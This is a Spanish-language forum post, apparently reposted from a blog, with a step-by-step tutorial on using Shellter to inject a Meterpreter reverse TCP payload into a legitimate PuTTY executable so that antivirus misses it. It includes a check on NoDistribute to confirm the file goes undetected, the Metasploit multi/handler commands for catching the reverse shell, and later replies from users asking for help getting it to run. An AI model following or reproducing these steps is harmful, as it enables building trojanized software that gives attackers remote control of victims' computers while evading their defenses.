Shellter es una herramienta dinámica de inyección de shellcode . Puede ser ustilizado para inyectar código shell en las aplicaciones nativas de Windows (Sólo 32 bits por el momento).
Puedes inyectar tu propio código o uno generado con un Framework, como Metasploit por ejemplo.
Shellter aprovecha la estructura original del archivo PE y no aplica ninguna modificación .
Para más información visita : shellterproject.com (http://shellterproject.com).
InstalaciónLo primero que haremos es descargarlo desde su página oficial (https://www.shellterproject.com/download/ (https://www.shellterproject.com/download/)) . Es compatible con Windows , Linux y Mac (Usando wine) .
Instalación en kali linux (Si aún no tienes instalado Wine)
apt-get update
apt-get install shellter
Instalación en backboxPrimero hay que agregar los repositorios :
nano /etc/apt/sources.listAñadimos las siguientes entradas :
deb http://ppa.launchpad.net/backbox/four/ubuntu trusty main
deb-src http://ppa.launchpad.net/backbox/four/ubuntu trusty mainapt-get update
apt-get install shellterInstalación en Arch Linux :yaourt -Syy
yaourt -S aur/shellterEn mi caso , estoy usando LionSec Linux (Basado en backbox) .
Una vez instalado , la siguente fase sería la ejecución .
Para ejecutarlo tecleamos "shellter" en la terminal , o "wine shellter.exe" para los que ya tenien instalado Wine .
Una vez ejecutado , elegimos la opción "Automatique" (A) .
(http://lionsec.net/blog/wp-content/uploads/2015/07/shellter1.png)
Después indicamos la ruta del archivo al que queremos inyectar el shellcode . Yo utilisaré putty .
(http://lionsec.net/blog/wp-content/uploads/2015/07/shellter2.png)
Ahora tenemos que indicar si queremos configurar un payload o elgir uno de la lista que nos propone Shellter. Podemos elegir la opción "L" (Listed) si queremos utilizar uno que ya aparece en la lista , "C" (Configure) para configurarlo manualmente .
Vamos a teclear (L)
(http://lionsec.net/blog/wp-content/uploads/2015/07/shellter3.png)
Después seleccionamos el payload que vamos a utilizar . Yo elegiré el primero (Meterpreter_Reverse_TCP) .
A continuación indicamos nuestra dirección IP y el puerto de escucha .
(http://lionsec.net/blog/wp-content/uploads/2015/07/shellter4.png)
Y ya habremos terminado con Shellter .
Bueno ahora vamos a escanear nuestro archivo , en NoDistribute por ejemplo(Recomendado) .
Resultado(http://lionsec.net/blog/wp-content/uploads/2015/07/no1.png)
(http://lionsec.net/blog/wp-content/uploads/2015/07/no2.png)
:) :)
OK , sólo nos queda configurar el "listener" .
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport xxx
exploit(http://lionsec.net/blog/wp-content/uploads/2015/07/metasploit1.png)
En mi máquina de prueba , dotada de 1 un antivirus , voy a ejecutar mi archivo (putty) . Y como me lo esperaba , no salta ninguna alerta y se ejecuta sin problema .
(http://lionsec.net/blog/wp-content/uploads/2015/07/metasploit2.png)
DemoBueno amigos , eso ha sido todo . Espero que le sirva a más de uno .
Fuente : http://lionsec.net/blog/evadiendo-antivirus-con-shellter/ (http://lionsec.net/blog/evadiendo-antivirus-con-shellter/)
Saludos
Hola buenas tardes, primero que todo muy buen aporte; muchas gracias.
Tengo un problema:
- Cuando llego a la parte de seleccionar los payloads no se muestra ninguno, queda en Select payload... Pero no se muestra ningun payload a seleccionar.
Me podrian ayudar por fa?
Gracias
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Funciona con Kali 2.0 en 64 bits? Porque yo no lo puedo hacer andar :-\
Me da error Wine al querer correr shellter.exe
Se mas especifico para poder ayudarte, que tipo de error te da.